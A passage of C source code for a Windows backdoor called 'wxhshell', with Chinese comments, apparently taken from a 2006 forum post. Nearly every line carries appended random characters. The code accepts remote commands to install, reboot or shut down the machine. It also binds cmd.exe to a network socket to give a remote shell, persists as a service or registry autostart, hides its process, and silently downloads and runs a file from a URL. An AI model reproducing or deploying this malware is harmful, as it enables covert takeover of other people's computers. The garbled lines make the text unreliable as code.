  // 帮助 :#Nrypsu  
  case '?': { Nu7lPEM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %"BJW  
    break; QJtO~~-  
  } %@Nu{?I  
  // 安装 <4%vl+qW  
  case 'i': { _+}#  
    if(Install()) Q?{^8?7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &O^t]7  
    else iO{LsG*5Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); } o@Dsx5  
    break; &[y+WrGG  
    } D` 2w>{Y  
  // 卸载 fsUZG6  
  case 'r': { w'a3=_nW  
    if(Uninstall()) UKp^TW1^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4* V[^mht  
    else NbUbLzE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K4Hu0  
    break; 6=g! Hs{  
    } V ^hR%*i'  
  // 显示 wxhshell 所在路径 i&\ c DQ 3  
  case 'p': { ..UA*#%1  
    char svExeFile[MAX_PATH]; k83S.*9Mx  
    strcpy(svExeFile,"\n\r"); L=V.@?  
      strcat(svExeFile,ExeFile); WXe]Q bg  
        send(wsh,svExeFile,strlen(svExeFile),0); Mk!bmFZOZ  
    break; #]@|mf q  
    } zAH6SaI$  
  // 重启 b r\_  
  case 'b': { IRT0   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n|eM}ymF+  
    if(Boot(REBOOT)) b>L?0p$ej  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K aNO&%qX  
    else { @k-iy-|3 )  
    closesocket(wsh);  a S ,  
    ExitThread(0); 7,5Bur  
    } CRPE:7,D  
    break; 9i+`,r  
    } >IJX=24Rc  
  // 关机 _~O*V&  
  case 'd': { c[a^fu!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c]R27r E  
    if(Boot(SHUTDOWN))  N}KL'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t_jnp $1m  
    else { Ar'k6NX  
    closesocket(wsh); >1RL5_US  
    ExitThread(0); !uqp?L^;  
    } %'.3t|zH  
    break; zQaD&2 q  
    } -|4 Oq  
  // 获取shell s%^@@Dk  
  case 's': { e@7UL|12  
    CmdShell(wsh); du_~P"[  
    closesocket(wsh); '+7"dHLC;  
    ExitThread(0); Ih)4.lLcKn  
    break; z8cefD9F  
  } 40}7O<9*  
  // 退出 [I`:%y  
  case 'x': { 1h?QEZ,6a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }Dx.;0*:  
    CloseIt(wsh); ]Wtg.y6;  
    break; I %|;M%B  
    } $+$4W\-=X  
  // 离开 vL8Rg} Jh4  
  case 'q': { iAZbh"I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F(|XJN  
    closesocket(wsh); H:cAORLB  
    WSACleanup(); %a']TX  
    exit(1); yf/i)  
    break; _RE;}1rb,  
        } vH/RP  
  }  w>\_d  
  } WaSZw0U}y  
3!vnSX(iv  
  // 提示信息 U'@ ![Fp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z! :0%qu  
} WV}HN  
  } Ako]34Rl,  
IYv.~IQO  
  return; CV)K=Br5&_  
} a9NIK/9  
"EwzuM8 f  
// shell模块句柄 f4$sH/ 2#v  
int CmdShell(SOCKET sock) R5&<\RI0  
{ kLc@U~M  
STARTUPINFO si; R]3j6\  
ZeroMemory(&si,sizeof(si)); aNP\Q23D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d|>/eb.R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `R!Q(rePx  
PROCESS_INFORMATION ProcessInfo; '3?-o|v@D  
char cmdline[]="cmd"; nf1O8FwRb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wV-9T*QrM  
  return 0; $$i Gs6az  
} #n]K$k>  
oxL)Jx\c9A  
// 自身启动模式 TjHt:%7.  
int StartFromService(void) j8c5_&  
{ }{)Rnb@ >  
typedef struct 6q^\pJY%&7  
{ hbEqb{#}@  
  DWORD ExitStatus; #4<=Ira5  
  DWORD PebBaseAddress; !*S,S{T8  
  DWORD AffinityMask; snYeo?|b  
  DWORD BasePriority; xjD."q  
  ULONG UniqueProcessId; ~O|~M_Z  
  ULONG InheritedFromUniqueProcessId; z_Hkw3?  
}   PROCESS_BASIC_INFORMATION; &OA6Zw/A  
3)I]bui  
PROCNTQSIP NtQueryInformationProcess; q1v7(`O  
29cx(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Gn<0Fy2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5p6/dlN-a  
>Y(JC#M;  
  HANDLE             hProcess; 6|IJwP^Q_  
  PROCESS_BASIC_INFORMATION pbi; EP^qj j@M  
-[}Aka,f!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #8zC/u\`=  
  if(NULL == hInst ) return 0; (,KzyR=*'  
e?FQ6?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oW^>J-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +\$c_9|C+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X *EseC  
*,t/IA|  
  if (!NtQueryInformationProcess) return 0; AN3oh1xe:  
[5ncBY*A7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i[I&m]N  
  if(!hProcess) return 0; Ve${g`7&  
a,(nf1@5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TO.STK`  
6l T< lzT  
  CloseHandle(hProcess); 6TTu[*0NT  
oY0*2~sg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t2Jf+t_B7  
if(hProcess==NULL) return 0; %!eRR  
G|RBwl  
HMODULE hMod; =CO) Q2  
char procName[255]; B!&y>Z^$  
unsigned long cbNeeded; mG$N%`aG  
l(Dr@LB~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `Ns Q&G  
!&:Cp_  
  CloseHandle(hProcess);  ? 8/r=  
;K~=? k  
if(strstr(procName,"services")) return 1; // 以服务启动 }zxf~4 1  
P&=YLL<W  
  return 0; // 注册表启动 qM+Ai*q  
} Zb2PFwcy  
Bex;!1  
// 主模块 0U:X[2|)  
int StartWxhshell(LPSTR lpCmdLine) %|ClYr  
{ pL!,1D!  
  SOCKET wsl; <$K=3&:s8q  
BOOL val=TRUE; !3iZa*  
  int port=0; IaQm)"Z  
  struct sockaddr_in door;  Na@;F{  
\o=9WKc  
  if(wscfg.ws_autoins) Install(); T+aNX/c|>  
$gN\%X/n"1  
port=atoi(lpCmdLine); 4_ypFuS^  
[V qiF~o,  
if(port<=0) port=wscfg.ws_port; Wp+lI1t  
I?E+  
  WSADATA data; O2?yI8|Jn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EZ:? (|h  
x2a ?ugQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S=lCzL;j"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wVFa51a)yy  
  door.sin_family = AF_INET; IZm6.F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `"PHhCG+z  
  door.sin_port = htons(port); &@'%0s9g  
~@*q8l C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  otfmM]f  
closesocket(wsl); ](v,2(}=  
return 1; cMF)2^w}  
} |d-x2M[  
xQU//kNL  
  if(listen(wsl,2) == INVALID_SOCKET) { H }]Zp  
closesocket(wsl); H C,5j)1  
return 1; d}tmZ*q  
} 4n@>gW  
  Wxhshell(wsl); uD?RL~M  
  WSACleanup(); ~k-'  
%rJDpB{  
return 0; @ *~yVV!5  
A,tg268  
} D\+x/r?-I  
4H;7GNu  
// 以NT服务方式启动 .>}I/+n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D "5|\  
{ H\n6t-l  
DWORD   status = 0; FyWf`XTO  
  DWORD   specificError = 0xfffffff; [W{|94q  
X Db%-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R.2i%cU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n0gjcDHQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H^5,];  
  serviceStatus.dwWin32ExitCode     = 0; lP)n$?u  
  serviceStatus.dwServiceSpecificExitCode = 0; k{lo'  
  serviceStatus.dwCheckPoint       = 0; w'A*EWO  
  serviceStatus.dwWaitHint       = 0; >yLDU_P)  
rir,|y,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =OtW!vx#R.  
  if (hServiceStatusHandle==0) return; }~=<7|N.  
@%2crJnkS  
status = GetLastError(); A'7Y{oPHX  
  if (status!=NO_ERROR) $H.U ~  
{ {fDRVnI?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \p( 0H6  
    serviceStatus.dwCheckPoint       = 0; Qxa Me8 (  
    serviceStatus.dwWaitHint       = 0; -zMvpe-am&  
    serviceStatus.dwWin32ExitCode     = status; $*$4DG1gaR  
    serviceStatus.dwServiceSpecificExitCode = specificError; &Ep$<kx8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OmZZTeGg1s  
    return; iG"v  
  } !KJ X$?  
3BGcDyYE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k$m'ebrS.~  
  serviceStatus.dwCheckPoint       = 0; c(vi,U-hC  
  serviceStatus.dwWaitHint       = 0; >T*BEikC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qi7*Jjk>90  
} j DEym&-  
ZL0k  
// 处理NT服务事件,比如:启动、停止 ^_3 $f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5wh(Qdib  
{ yx&}bu\  
switch(fdwControl) 87B$  
{ .@+M6K*  
case SERVICE_CONTROL_STOP: `L <sZ;Cj  
  serviceStatus.dwWin32ExitCode = 0; .t>SbGC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S1)g\Lv  
  serviceStatus.dwCheckPoint   = 0; MIl\Bn  
  serviceStatus.dwWaitHint     = 0; ]j,o!|rx7  
  { S{bp'9]$y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Ccp1a~+  
  } *c/|/  
  return; %rnRy<9  
case SERVICE_CONTROL_PAUSE: YqXN|&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }j1;0kb?  
  break; W7~_XI  
case SERVICE_CONTROL_CONTINUE: >YXb"g@.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P8=J0&5  
  break; y]obO|AH  
case SERVICE_CONTROL_INTERROGATE: ?P9VdS1-  
  break; `FNU- I4s  
}; k5tyOk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s"nntC  
} psx_gv,  
_C1u}1hW#  
// 标准应用程序主函数 P| ?nx"c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qFDy)4H)  
{ #')] ~Xa  
U v>^ Z2  
// 获取操作系统版本 ! @Vj&>mH$  
OsIsNt=GetOsVer(); w^HI lA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `WC4:8  
bT9:9LP  
  // 从命令行安装 rO#$SW$YW  
  if(strpbrk(lpCmdLine,"iI")) Install(); JUDZ_cGr  
j!Ys/ D  
  // 下载执行文件 9"1=um=  
if(wscfg.ws_downexe) { #z.\pd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #=Xa(<t  
  WinExec(wscfg.ws_filenam,SW_HIDE); ujX\^c  
} 2++$ Ql/  
2fc+PE  
if(!OsIsNt) { {i3x\|  
// 如果时win9x,隐藏进程并且设置为注册表启动 <b\.d^=B  
HideProc(); GpO@1 C/  
StartWxhshell(lpCmdLine); !f/^1k}SR  
} >tL" 8@z9  
else m|+zMf&  
  if(StartFromService()) b+ZaZ\-y |  
  // 以服务方式启动 iK'A m.o+  
  StartServiceCtrlDispatcher(DispatchTable); 9S'\&mRl  
else #&S<{75A  
  // 普通方式启动 B}p.fE  
  StartWxhshell(lpCmdLine); "].TKF#yg  
j9RpYz  
return 0; .1J`>T?=Q  
}
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只看该作者 1 发表于: 2006-10-10
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